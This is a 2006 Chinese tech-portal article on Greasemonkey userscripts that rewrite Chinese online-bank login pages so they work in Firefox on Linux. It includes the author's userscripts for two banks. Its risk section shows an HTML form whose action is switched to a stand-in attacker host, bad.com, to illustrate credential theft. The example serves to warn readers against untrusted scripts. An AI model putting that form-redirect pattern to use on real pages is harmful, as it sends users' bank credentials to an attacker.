當前位置:首頁 > 嵌入式 > 嵌入式軟件
[導讀]本文不是一篇Hacker教程。你必需使用自己的用戶名和密碼登陸銀行,而不是猜測別人的。甚至如果你對Firefox擴展和JavaScript不甚熟悉的話。按本文的例子行動還會有很大風險。

本文不是一篇Hacker教程。你必需使用自己的用戶名和密碼登陸銀行,而不是猜測別人的。甚至如果你對Firefox擴展和JavaScript不甚熟悉的話。按本文的例子行動還會有很大風險。

本文的作者拒絕對本文的正確性提供任何形式的擔保,包括但不限于明示和暗示的。

Greasemonkey是Firefox 的一種非常強大的擴展,能夠在網(wǎng)也內(nèi)容讀入之后,頁面顯示在瀏覽器之前執(zhí)行指定的JavaScript腳本。Greasemonkey 的[url=https://addons.mozilla.org/firefox/748/ ]下載地址。使用方法可以參考[url=http://forums.mozine.org/index.php?showtopic=4036 ]如何使用Greasemonkey。本文所介紹的方法,要首先要安裝這個擴展。而且您要仔細查看使用說明,才能夠理解本文所描述的方法。
其實另外一個被廣泛下載的擴展[url=http://chrispederick.com/work/webdeveloper/ ]Web Developer ,也能實現(xiàn)本文所描述的功能,但更為復雜。

我們雖然能成功地以旁門左道登錄網(wǎng)上銀行,但這未必是最好的方法,筆者希望每位從本文得到幫助的讀者,都能給你開戶銀行的webmaser發(fā)一封email,要求該行能夠直接支持Firefox。如果對方能夠修改網(wǎng)頁界面支持Firefox,下次評選最佳網(wǎng)行銀行的時候,您就可以考慮投他一票。本文附錄中列出了部分銀行網(wǎng)站webmaster的email地址。

[align=center][size=5]概論[/size][/align]

經(jīng)常有人說可以在計算機中完全使用Linux生活和工作,但實際上在中國大陸還不能做得到。拿本人來說,我有99.9%的時間都是使用Linux的。不論是寫C或Shell程序,聽音樂、看電影、在棋圣道場(http://weiqi.com.tom)看棋譜,或是在[url=http://games.yahoo.com]Yaoo游戲打橋牌,都絕無問題甚至游刃有余。但仍然有一個重要的原因使我不能脫離Windows 系統(tǒng),就是Linux無法登陸某些國內(nèi)的網(wǎng)上銀行。無論如何,我不能和錢過不去。
最近,MS開始禁止盜版Windows進行網(wǎng)上自動更新,這對很多人無疑是一個打擊,這更堅定了我拋棄Windows系統(tǒng)的決心。本人目前的職業(yè)是Linux教師,深深地熱甃inux/FreeBSD一類的開源軟件,非常希望能像理查德.斯托爾曼一樣,完全用開源軟件。如果有些做不到,就爭取無限接近。開源軟件的最大優(yōu)點之一就是可以自己動手編寫一些東西。筆者雖然不是程序員,但也能折騰兩下。

國內(nèi)的銀行現(xiàn)在用多如牛毛來形容,應該是一點都不過分的。下面的銀行列表表格摘自 [url=http://www.hao123.com/bankjt.htm]hao123網(wǎng)站

銀行列表略,見pdf版本。


很多銀行本人根本沒有帳號,所以并不關心。據(jù)說“洋”行的網(wǎng)站基本對所有瀏覽器都支持,包括IE 、Firefox、Opera、Safari等。但以前聽說過一在英國發(fā)生的新聞,某用戶在使用Lynx軟件訪問銀行的時候,竟被懷疑是黑客,導致警察上門。所以說,外國的月亮確實圓一點,但也很有限。

上表中我標出兩個綠底的,北京銀行和中國銀行。前者可以很好地支持Firefox,后者據(jù)同事說可以支持Firefox。這里只能對他們的網(wǎng)站設計和人員表示敬意。
三個藍底的銀行,招商銀行、建設銀行、交通銀行我都有帳號,是不能直接使用FireFox的。其中招商銀行和交通銀行的登錄頁面上有ActiveX控件,不能被Firefox所支持。而建設銀行的頁面,有一個Firefox所無法使用的軟鍵盤。工商銀行我雖然沒帳號,但知道也不兼容FireFox。

隨機挑選了幾個大陸以外的銀行,發(fā)現(xiàn)除了招商銀行香港分行以外,都可以使用Firefox。”和國際接軌“的口號大家已經(jīng)聽煩了,從火車票的票價到大學生的學費都如此,下一個接軌的據(jù)說是北京的士的車費。但什么時候春風能吹到銀行呢?

網(wǎng)上銀行登錄頁面的作用,在讓客戶提交正確的帳號、密碼以及其他信息。只要我們能夠正確的提交數(shù)據(jù),無論頁面采用ActiveX還是ActiveY技術(shù),都不會影響我們使用。下面我們來具體分析一下各家銀行頁面的作用。
能夠提交數(shù)據(jù)的途徑是修改登錄頁面。例如下列的html代碼。

<form method=post action="http://foo.com/cgi-bin/test.pl">
username:<input name=username type=text><br>
password:<input name=password type=password><br>
<input name=submit type=submit value="OK">
</form>



如果我們用瀏覽器訪問該頁面并在用戶名和密碼部分填寫zhang3和123.并點擊OK按鈕,就會將數(shù)據(jù)提交給http://foo.com/cgi-bin/test.pl處理。甚至你可以直接在你的瀏覽器地址欄上直接輸入http://foo.com/cgi-bin/test.pl?username=z3&password=123 ,效果通常相同。
網(wǎng)上銀行比這要復雜一些,因為很多銀行存在一個圖片”驗證碼“,這無法用直接提交的方式發(fā)送數(shù)據(jù)。必需登錄銀行指定的登錄界面。
剛開始研究這個問題的時候,筆者嘗試通過建立一個FireFox的擴展的方式登錄網(wǎng)上銀行,在深入研究了XUL、DOM等文檔后,成功地開發(fā)出了自己的擴展,但隨后發(fā)現(xiàn),利用現(xiàn)有的Greaemonkey擴展是個更簡單的方案。
Greasemonkey擴展既然可以運行Javascipt腳本,我們就能夠利用腳本動態(tài)修改頁面,使得其能夠被Firefox顯示并且能提交正確的數(shù)據(jù)。首先分析原因所在,其中最容易的就是建設銀行。

[align=center][size=5]建設銀行[/size][/align]

建行網(wǎng)上銀行的[url=https://ibsbjstar.ccb.com.cn/app/B2CMainPlat?CUSTYPE=0&TXCODE=CLOGIN]登陸入口

此頁面的問題在于,如果使用Windows+IE ,當試圖輸入密碼時,會打開一個軟鍵盤來輸入,這有一定的安全性,但也就只能防止某些可以記錄鍵盤輸入的間諜軟件而已,但使用Firefox,就根本不能輸入密碼。

 其部分代碼如下(除去了一些定義外觀的部分):

<td nowrap>證件號碼:</td> <td nowrap colspan=3><input name="USERID" type="text" title="證件號碼"></td>
<tr>
<td nowrap>登錄密碼:</td>
<td nowrap colspan=3><input id="LOGPASS" name="LOGPASS" type="password" title="登錄密碼" readOnly onKeyDown="Calc.password.value=this.value" onChange="Calc.password.value=this.value" onclick= "password1=this;showkeyboard();this.readOnly=1;Calc.password.value=''"></td> </tr>


核心問題就是在上述代碼中我用紅色標出的readOnly屬性,這使得我們不能夠直接輸入密碼,而只能借助于前文所說的軟鍵盤。
我寫了下面的腳本,用來重寫一個標準的密碼框來取代原有的部分,內(nèi)容如下:

1.// ==UserScript==
2.// @namespace http://teenblog.org/tiantian
3.// @name ccb Assist
4.// @description ccb Assist
5.// @include https://ibsbjstar.ccb.com.cn/app/B2CMainPlat?CUSTYPE=0&TXCODE=CLOGIN
6.// ==/UserScript==
7.var passArea=document.getElementsByTagName("td")[104];
8.passArea.innerHTML='<input id="LOGPASS" name="LOGPASS" type="password" class="textlogin" size="20" minLength="6" maxLength="12" title="password">';
9.alertMessage='This page was modified by Greasemonkey extension.nThe extension use a user defined JavaScript.nThe Content of JavaScript is not related with Greasemonkey.nBe care to use this.nCopyright: GPL V2 nAuthor: maluyao at 163.comnKnow Bugs: n Can not logoutn' ;
10.alert(alertMessage);


前4行都是描述性的。第5行指出了本腳本針對的網(wǎng)頁。
第7行得到指定的<td>和</td>之間的內(nèi)容,并在第8行中替換成我們自己的格式。第9行和第10行是彈出一個關于版權(quán)和警告信息的窗口,提醒用戶注意。當然,最后這兩行不是必需的。

把此腳本命名為jianhang.user.js后,直接用Firefox打開。并安裝。
現(xiàn)在用Firefox打開建行的登錄界面,就能輸入卡號和密碼了,正確輸入數(shù)據(jù)并且提交后,進入了下個界面。
在左上方能正確地看到本人的名字,下方顯示的廣東分行也是正確的(以前在廣東開的戶)。沉浸在喜悅當中的我,馬上點右下的“不使用證書進入”。
唉!?。?!,只能說十分遺憾。建行網(wǎng)站的內(nèi)部仍然不支持IE,還的另想辦法。
辦法就是繼續(xù)研究html界面,并用適當?shù)膬?nèi)容替換之。因為工作量的關系,筆者放棄了對建設銀行的接續(xù)研究。
中國銀行的網(wǎng)上銀行登錄界面同樣也有一個軟鍵盤,但是用戶可以選擇使用或不使用之。從網(wǎng)站界面設計的方面評價,建設銀行無疑是和中國銀行有些差距了。國際話不能光在嘴上說。要落實在行動上。

[align=center][size=5]交通銀行[/size][/align]

接下來我們看看交通銀行,交通銀行的[url=https://pbank.95559.com.cn/personbank/common_logon.jsp]登陸界面


交行的登陸界面上用一個ActiveX控件輸入密碼,這在Linux + Firefox 的環(huán)境下是無法顯示的。我們的辦法是在登陸此界面后,用Firefox 的擴展來修改登陸界面上的內(nèi)容。重新生成一個Firefox能夠正確顯示的表單(Form),交通銀行的腳本如下:


1.// ==UserScript==
2.// @namespace http://teenblog.org/tiantian
3.// @name JiaoHang Assist
4.// @description JiaoHang Assist
5.// @include https://pbank.95559.com.cn/personbank/common_logon.jsp
6.// ==/UserScript==
7.var addformhead=document.getElementsByTagName('td')[31];
8.alertMessage='This page was modified by Greasemonkey extension.nThe extension use a user defined JavaScript.nThe Content of JavaScript is not related with Greasemonkey.nBe care to use this.nPlease input Card Number on "Card Number"nPlease input your password on "PassWord"nPlease Input adding code below "Picture Code"nCopyright: GPL V2 nAuthor: maluyao at 163.comnKnow Bugs: n Can not logoutn JIE JI Card Onlyn' ;
9.addformhead.innerHTML='<form id="frmLogon" name="frmLogon" method="post" action=Bank >' +
10. 'n <input type="hidden" name="netType" value="0"/> '+
11. 'n <input type="hidden" name="language" value="zh_CN"/> '+
12. 'n <input type="hidden" name="userType" value="02"/> '+
13. 'nCard Number<input name="cardNo" type="text" maxLength="17" > '+
14. 'n<br>nPassWord<input type="password" id="password" name="password" > ' +
15. 'n<br>Picture Code<input name="reqCode" type="text" maxLength="6" size="10" >' +
16. 'n <input type="hidden" name="cardType" value="0" /> '+
17.
18. '</form>'+
19. '<a href="javascript:document.getElementById('frmLogon').submit()"><img src="/personbank/images/but-denglu.gif"></a>';
20.alert(alertMessage);



第8行和第18行定義和顯示了一個對話框,內(nèi)容是對使用本腳本的客戶機的一個警告信息,不是必要的。第9-19行中我們增加了一個新的表單,能夠提交正確的數(shù)據(jù)。雖然界面目前被改的很丑陋,但能夠工作。輸入正確的數(shù)據(jù)后,可以進入網(wǎng)上銀行,查看自己帳號的情況。

[align=center][size=5]風險分析[/size][/align]

從上面的例子里可以看出,F(xiàn)irefox的擴展功能十分的強大??梢灾苯訉撁孢M行修改。但這里也存在相當大的風險。
比如如果某頁面存在一個表單,定義如下:

1.<form method=post action="http://good.com/cgi-bin/test.pl">
2.用戶名:<input id="username" name=username type=text ><br>
3.密 碼:<input id="password" name=password type=text ><br>
4.<input name=submit type=submit value=”提交">
5.</form>


這段內(nèi)容原本會將數(shù)據(jù)提交到good.com上的test.pl處理,但如果惡意代碼將其改為:

1.<form method=post action="http://bad.com/cgi-bin/test.pl">
2.用戶名:<input id="username" name=username type=text ><br>
3.密 碼:<input id="password" name=password type=text ><br>
4.<input name=submit type=submit value=”提交">
5.</form>


這會導致原本應該發(fā)送給good.com的數(shù)據(jù)被發(fā)送給bad.com。風險極大。

[align=center][size=5]招商銀行[/size][/align]

相比于上面兩個銀行,招商銀行的難度要高一些。招商銀行使用的ActiveX控件,能夠使得卡號和密碼在提交前就被ActiveX所加密,密文具有一定的隨機性。然后再提交數(shù)據(jù)。筆者認為這并不是必要的,但毫無疑問,這種機制加大了我工作的難度。

如果能分析出這個加密算法并用JavaScript實現(xiàn),招商銀行的問題也就解決了。從密碼學的原理來說,已知明文和密文,分析出算法并不是件非常困難的事情。但這需要時間。這個問題的詳細內(nèi)容,請參考: http://bbs.chinaunix.net/viewthread.php?tid=749579&extra=page%3D2 。


目前筆者還沒有分析出算法,但使用某種技巧,筆者能針對任意帳號和密碼在自己的電腦上生成密文。這樣雖然未知加密算法。但可以先得到自己帳號密碼的密文內(nèi)容,然后通過修改網(wǎng)頁的方式提交出去。當然,這種方式暫時只能自學自用,不便公開。事實上,因為招行的網(wǎng)站有很多”楨“(Frame)。修改起來過于麻煩。目前的計劃是不久以后注銷掉招商銀行的帳號。

據(jù)說工商銀行的ActiveX也有類似的機制,因為沒有工行帳號,就不準備進一步研究了。但相信也可以通過和招商銀行類似的方式解決。


[align=center][size=5]風險提示和后記[/size][/align]


對于一般的用戶,特別要注意不要安裝來路不明的擴展和腳本,這其中的風險幾乎相當于自己給自己安裝一個木馬。因為除了JavaScript語言開發(fā)以外,F(xiàn)irefox的擴展還可以使用Java、C/C++等語言開發(fā),能夠?qū)崿F(xiàn)非常底層的功能,甚至格式化你的硬盤。

感謝筆者現(xiàn)在的雇主—[url=http://www.hybenet.net/]北大青鳥(北京華源)授權(quán)培訓中心,沒有給安排給我太多的工作任務,使得能夠有足夠的時間和精力,深入研究自由軟件的各種技術(shù),回報自由軟件社區(qū)。

定稿于2006年5月7日

附錄:
部分不支持FireFox的銀行及其webmaster 的email地址:
中國工商銀行 webmaster@icbc.com.cn
中國農(nóng)業(yè)銀行 95599bj@abchina.com
交通銀行95559@bankcomm.com
中國建設銀行 首頁上未標明
招商銀行首頁上未標明

本站聲明: 本文章由作者或相關機構(gòu)授權(quán)發(fā)布,目的在于傳遞更多信息,并不代表本站贊同其觀點,本站亦不保證或承諾內(nèi)容真實性等。需要轉(zhuǎn)載請聯(lián)系該專欄作者,如若文章內(nèi)容侵犯您的權(quán)益,請及時聯(lián)系本站刪除。
換一批
延伸閱讀

9月2日消息,不造車的華為或?qū)⒋呱龈蟮莫毥谦F公司,隨著阿維塔和賽力斯的入局,華為引望愈發(fā)顯得引人矚目。

關鍵字: 阿維塔 塞力斯 華為

加利福尼亞州圣克拉拉縣2024年8月30日 /美通社/ -- 數(shù)字化轉(zhuǎn)型技術(shù)解決方案公司Trianz今天宣布,該公司與Amazon Web Services (AWS)簽訂了...

關鍵字: AWS AN BSP 數(shù)字化

倫敦2024年8月29日 /美通社/ -- 英國汽車技術(shù)公司SODA.Auto推出其旗艦產(chǎn)品SODA V,這是全球首款涵蓋汽車工程師從創(chuàng)意到認證的所有需求的工具,可用于創(chuàng)建軟件定義汽車。 SODA V工具的開發(fā)耗時1.5...

關鍵字: 汽車 人工智能 智能驅(qū)動 BSP

北京2024年8月28日 /美通社/ -- 越來越多用戶希望企業(yè)業(yè)務能7×24不間斷運行,同時企業(yè)卻面臨越來越多業(yè)務中斷的風險,如企業(yè)系統(tǒng)復雜性的增加,頻繁的功能更新和發(fā)布等。如何確保業(yè)務連續(xù)性,提升韌性,成...

關鍵字: 亞馬遜 解密 控制平面 BSP

8月30日消息,據(jù)媒體報道,騰訊和網(wǎng)易近期正在縮減他們對日本游戲市場的投資。

關鍵字: 騰訊 編碼器 CPU

8月28日消息,今天上午,2024中國國際大數(shù)據(jù)產(chǎn)業(yè)博覽會開幕式在貴陽舉行,華為董事、質(zhì)量流程IT總裁陶景文發(fā)表了演講。

關鍵字: 華為 12nm EDA 半導體

8月28日消息,在2024中國國際大數(shù)據(jù)產(chǎn)業(yè)博覽會上,華為常務董事、華為云CEO張平安發(fā)表演講稱,數(shù)字世界的話語權(quán)最終是由生態(tài)的繁榮決定的。

關鍵字: 華為 12nm 手機 衛(wèi)星通信

要點: 有效應對環(huán)境變化,經(jīng)營業(yè)績穩(wěn)中有升 落實提質(zhì)增效舉措,毛利潤率延續(xù)升勢 戰(zhàn)略布局成效顯著,戰(zhàn)新業(yè)務引領增長 以科技創(chuàng)新為引領,提升企業(yè)核心競爭力 堅持高質(zhì)量發(fā)展策略,塑強核心競爭優(yōu)勢...

關鍵字: 通信 BSP 電信運營商 數(shù)字經(jīng)濟

北京2024年8月27日 /美通社/ -- 8月21日,由中央廣播電視總臺與中國電影電視技術(shù)學會聯(lián)合牽頭組建的NVI技術(shù)創(chuàng)新聯(lián)盟在BIRTV2024超高清全產(chǎn)業(yè)鏈發(fā)展研討會上宣布正式成立。 活動現(xiàn)場 NVI技術(shù)創(chuàng)新聯(lián)...

關鍵字: VI 傳輸協(xié)議 音頻 BSP

北京2024年8月27日 /美通社/ -- 在8月23日舉辦的2024年長三角生態(tài)綠色一體化發(fā)展示范區(qū)聯(lián)合招商會上,軟通動力信息技術(shù)(集團)股份有限公司(以下簡稱"軟通動力")與長三角投資(上海)有限...

關鍵字: BSP 信息技術(shù)
關閉
關閉